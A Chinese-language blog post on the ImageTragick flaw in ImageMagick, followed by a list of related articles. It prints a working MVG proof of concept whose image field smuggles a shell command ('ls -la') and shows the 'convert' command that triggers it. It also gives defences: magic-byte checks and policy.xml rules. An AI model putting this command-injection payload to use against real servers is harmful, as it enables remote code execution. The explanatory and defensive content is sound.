ImageTragick Exploit & Fix
ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。
在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播。
ImageMagick被许多编程语言所支持:Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如:WordPress、Drupal、Discuz!。
该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。
换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。
漏洞利用:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
将代码保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它
convert exploit.jpg out.png
此时,ImageMagick就会去执行嵌入的代码/命令:ls -la命令。
漏洞防御:
1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型,即:检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等,这样,才能准确判断是否为文件图片。
2.使用策略配置文件来禁用ImageMagick的有风险的编码器,可在 "/etc/ImageMagick/policy.xml" 文件中添加如下代码:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL">
<policy domain="coder" rights="none" pattern="URL">
<policy domain="coder" rights="none" pattern="HTTPS">
<policy domain="coder" rights="none" pattern="MVG">
<policy domain="coder" rights="none" pattern="MSL">
</policymap>
此时,若再运行:convert exploit.jpg out.png,就无法再执行ls -la命令了。
EXP:https://www.exploit-db.com/exploits/39767
ImageTragick Exploit & Fix的更多相关文章
- linux提权辅助工具(一):linux-exploit-suggester.sh
来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...
- nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit
测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! #nginx 1.3.9/1.4.0 x86 brute force remote exploit # copyri ...
- Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)
In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...
- An iOS zero-click radio proximity exploit odyssey
NOTE: This specific issue was fixed before the launch of Privacy-Preserving Contact Tracing in iOS 1 ...
- PhpStorm和WAMP配置调试参数,问题描述Error. Interpreter is not specified or invalid. Press “Fix” to edit your project configuration.
PhpStorm和WAMP配置调试参数 问题描述: Error. Interpreter is not specified or invalid. Press “Fix” to edit your p ...
- No-args constructor for class X does not exist. Register an InstanceCreator with Gson for this type to fix this problem.
Gson解析JSON字符串时出现了下面的错误: No-args constructor for class X does not exist. Register an InstanceCreator ...
- Eclipse ndk fix插件开发
一. 手工修复ndk环境bug Eclipse做ndk开发的时候, 经常会遇到编译过去,却报语法错误的问题,比如 ①. 头文件不识别 ②. 头文件识别了, 类型不识别 针对这一的bug,我们一般按照如 ...
- How to Fix GNOME License Not Accepted Issue on CentOS 7
This post assume that you have just finished the Gnome GUI installation on CentOS 7 by using “yum gr ...
- CVE-2015-7645 analyze and exploit
Hack team之后adobe和google合作对flash进行了大改,一度提高了flash的利用门槛,CVE-2015-7645作为第一个突破这些限制的漏洞利用方式,可以作为vetect利用方式之 ...
随机推荐
- Thinking in java学习笔记之finalize
finalize:一旦垃圾回收器准备好释放对象占用的存储空间,将首先调用其finalize()方法,并且在下次垃圾回收动作发生时,才会真正回收对象占用的内存,所以可用此作为对象终结条件的验证.注意的三 ...
- 【BZOJ-1113】海报PLA 单调栈
1113: [Poi2008]海报PLA Time Limit: 10 Sec Memory Limit: 162 MBSubmit: 896 Solved: 573[Submit][Status ...
- restController与Controller-待续
restController包含controller和responseBody, restController返回一个对象时,会自动转换成json格式的数据,如果要返回视图和对象的那只能用contro ...
- Linq集合
摘要:微软在.NET 3.5中推出了LINQ,现在各种LINQ Provider满天飞,TerryLee在老外站点上收集了一份LINQ Provider列表 微软在.NET 3.5中推出了LINQ,现 ...
- C语言之函数可变参数
先上一段代码: #include<cstdarg> #include<iostream> #include<string> using namespace std; ...
- visual studio 2010 C#编程时 没有.NET framework 2.0目标框架的解决办法
解决办法是安装Framework .NET 3.5 Sp1 因为visual studio 2010是依赖.NET Framework 3.5 Sp1来识别其它版本的.NEt framework的. ...
- Swift 函数做参数和闭包做参数的一个细节差别
函数作参数,示例为传入一个String和一个添加前缀的函数,返回一个添加完前缀的String: func demo(str:String,addPrefix:(String)->String)- ...
- linux安装Mac的默认Monaco字体
Monaco字体是我最喜欢的编程字体,如果你想在linux上面安装,只需要在terminal中执行: curl -kL https://raw.github.com/cstrap/monaco-fon ...
- HDU 2058 The sum problem
传送门 Description Given a sequence 1,2,3,......N, your job is to calculate all the possible sub-sequen ...
- Alpha版本十天冲刺--Day4
站立式会议 会议总结 队员 今天完成 遇到的问题 明天要做 感想 鲍亮 解决线程信息传递问题(使用函数回调),Android登录验证接口完善 无 json解析,忘记密码界面验证码获取接口,忘记密码请求 ...